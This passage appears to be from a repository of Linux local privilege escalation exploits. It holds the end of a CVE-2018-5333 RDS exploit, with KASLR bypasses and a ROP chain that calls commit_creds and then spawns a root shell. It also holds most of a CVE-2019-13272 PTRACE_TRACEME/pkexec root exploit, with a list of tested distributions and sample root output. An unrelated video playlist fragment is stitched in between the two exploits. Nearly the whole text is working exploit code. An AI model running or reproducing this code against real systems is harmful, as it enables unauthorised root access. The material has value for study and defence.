"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *
void handler(int signo, siginfo_t* info, void* vcontext) {}
void debug_enable_sigsev_handler() {
struct sigaction action;
memset(&action, 0, sizeof(struct sigaction));
action.sa_flags = SA_SIGINFO;
action.sa_sigaction = handler;
sigaction(SIGSEGV, &action, NULL);
}
// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
static int check_env() {
int fd = socket(AF_RDS, 5, 0);
if(fd < 0) {
dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
exit(EXIT_FAILURE);
}
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
if (stat("/proc/sys/lkrg", &st) == 0) {
dprintf("[!] Warning: lkrg is in use\n");
}
return 0;
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
if (addr == 0)
dprintf("[-] kernel base not found in %s\n", path);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
return 1;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
return 1;
}
return 0;
}
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long addr = strtoul(&substr[0], &endptr, 16);
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (mmap_syslog(&syslog, &size))
return 0;
addr = get_kernel_addr_syslog_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
#endif
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
// https://blog.lizzie.io/kaslr-and-perf.html
#if ENABLE_KASLR_BYPASS_PERF
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
{
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}
unsigned long get_kernel_addr_perf() {
int fd;
pid_t child;
dprintf("[.] trying perf_event_open sampling...\n");
child = fork();
if (child == -1) {
dprintf("[-] fork() failed: %m\n");
return 0;
}
if (child == 0) {
struct utsname self = {0};
while (1) uname(&self);
return 0;
}
struct perf_event_attr event = {
.type = PERF_TYPE_SOFTWARE,
.config = PERF_COUNT_SW_TASK_CLOCK,
.size = sizeof(struct perf_event_attr),
.disabled = 1,
.exclude_user = 1,
.exclude_hv = 1,
.sample_type = PERF_SAMPLE_IP,
.sample_period = 10,
.precise_ip = 1
};
fd = perf_event_open(&event, child, -1, -1, 0);
if (fd < 0) {
dprintf("[-] syscall(SYS_perf_event_open): %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
uint64_t page_size = getpagesize();
struct perf_event_mmap_page *meta_page = NULL;
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (meta_page == MAP_FAILED) {
dprintf("[-] mmap() failed: %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
dprintf("[-] ioctl failed: %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
char *data_page = ((char *) meta_page) + page_size;
size_t progress = 0;
uint64_t last_head = 0;
size_t num_samples = 0;
unsigned long min_addr = ~0;
while (num_samples < 100) {
/* is reading from the meta_page racy? no idea */
while (meta_page->data_head == last_head);;
last_head = meta_page->data_head;
while (progress < last_head) {
struct __attribute__((packed)) sample {
struct perf_event_header header;
uint64_t ip;
} *here = (struct sample *) (data_page + progress % page_size);
switch (here->header.type) {
case PERF_RECORD_SAMPLE:
num_samples++;
if (here->header.size < sizeof(*here)) {
dprintf("[-] size too small.\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
uint64_t prefix;
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
prefix = here->ip & ~0xfffff;
} else {
prefix = here->ip & ~0xffffff;
}
if (prefix < min_addr) min_addr = prefix;
break;
case PERF_RECORD_THROTTLE:
case PERF_RECORD_UNTHROTTLE:
case PERF_RECORD_LOST:
break;
default:
dprintf("[-] unexpected perf event: %x\n", here->header.type);
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
progress += here->header.size;
}
/* tell the kernel we read it. */
meta_page->data_tail = last_head;
}
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return min_addr;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
dprintf("[-] target kernel does not permit mincore info leak\n");
return 0;
}
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000,
PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_PERF
addr = get_kernel_addr_perf();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed, kernel base not found\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static void shell() {
if (getuid() == 0 && geteuid() == 0) {
dprintf("[+] got root\n");
system(SHELL);
} else {
dprintf("[-] failed\n");
}
exit(EXIT_FAILURE);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
dprintf("[-] fork(): %m\n");
exit(EXIT_FAILURE);
}
if (rv == 0)
shell();
}
int main(int argc, char *argv[]) {
if (argc > 1) SHELL = argv[1];
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
dprintf("[.] checking kernel version...\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system...\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] mapping null address...\n");
map_null();
dprintf("[~] done, mapped null address\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds);
unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi);
unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp);
unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs);
unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq);
dprintf("[.] commit_creds: %lx\n", commit_creds);
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
dprintf("[.] mmapping fake stack...\n");
uint64_t page_size = getpagesize();
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
uint64_t stack_offset = xchg_esp % page_size;
unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (fake_stack == MAP_FAILED) {
dprintf("[-] mmap(fake_stack): %m\n");
exit(EXIT_FAILURE);
}
unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (temp_stack == MAP_FAILED) {
dprintf("[-] mmap(temp_stack): %m\n");
exit(EXIT_FAILURE);
}
static unsigned long result = 0;
unsigned long *data = (unsigned long *)0;
data[1] = (uint64_t)&result;
data[3] = xchg_esp;
save_state();
debug_enable_sigsev_handler();
fake_stack = (unsigned long *)(stack_aligned + stack_offset);
int i = 0;
fake_stack[i++] = xor_rdi;
fake_stack[i++] = prepare_kernel_cred;
fake_stack[i++] = mov_rdi_rax;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = commit_creds;
fake_stack[i++] = swapgs;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = iretq;
fake_stack[i++] = (unsigned long)shell;
fake_stack[i++] = user_cs;
fake_stack[i++] = user_rflags;
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
fake_stack[i++] = user_ss;
dprintf("[~] done, fake stack mmapped\n");
dprintf("[.] executing payload %p...\n", (void*)&shell);
trigger_bug();
return 0;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+15
View File
@@ -0,0 +1,15 @@
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:4
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:3.433333,
epicsax0.ts
#EXTINF:1.700000,
epicsax1.ts
#EXTINF:1.700000,
epicsax2.ts
#EXTINF:1.700000,
epicsax3.ts
#EXTINF:1.466667,
epicsax4.ts
#EXT-X-ENDLIST
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
all:
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
Binary file not shown.
+534
View File
@@ -0,0 +1,534 @@
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
//
// Uses pkexec technique. Requires execution within the context
// of a user session with an active PolKit agent.
//
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
// or SELinux deny_ptrace=on.
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// - lubuntu 19.04 kernel 5.0.0-13-generic
// - Sabayon 19.03 kernel 4.20.0-sabayon
// - Pop! OS 19.04 kernel 5.0.0-21-generic
// ---
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching policies for useful helpers ...
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// [root@localhost CVE-2019-13272]# id
// uid=0(root) gid=0(root) groups=0(root),1000(user)
// [root@localhost CVE-2019-13272]# uname -a
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
/*
* enabled automatic targeting.
* uses pkaction to search PolKit policy actions for viable helper executables.
*/
#define ENABLE_AUTO_TARGETING 1
/*
* fall back to known helpers if automatic targeting fails.
* note: use of these helpers may result in PolKit authentication
* prompts on the session associated with the PolKit agent.
*/
#define ENABLE_FALLBACK_HELPERS 1
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
/* known helpers to use if automatic targeting fails */
#if ENABLE_FALLBACK_HELPERS
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/sbin/xfce4-pm-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
};
#endif
/* helper executables known to cause problems (hang or fail) */
const char *blacklisted_helpers[] = {
"/xf86-video-intel-backlight-helper",
"/cpugovctl",
"/resetxpad",
"/package-system-locked",
"/cddistupgrader",
};
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
return 0;
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
return force_exec_and_wait(child, 42, "stage3");
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
warn++;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}
if (warn > 0) {
dprintf("[~] Done, with %d warnings\n", warn);
} else {
dprintf("[~] Done, looks good\n");
}
return warn;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
#if ENABLE_AUTO_TARGETING
int find_helpers() {
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
return 0;
}
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run %s: %m\n", cmd);
return 0;
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
int blacklisted_helper = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes */
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
/* check helper path against helpers defined in 'blacklisted_helpers' array */
blacklisted_helper = 0;
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
blacklisted_helper = 1;
break;
}
}
if (blacklisted_helper == 1)
continue;
/* check the path exists */
if (stat(&buffer[0], &st) != 0) {
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
continue;
}
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
#endif
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Trying helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
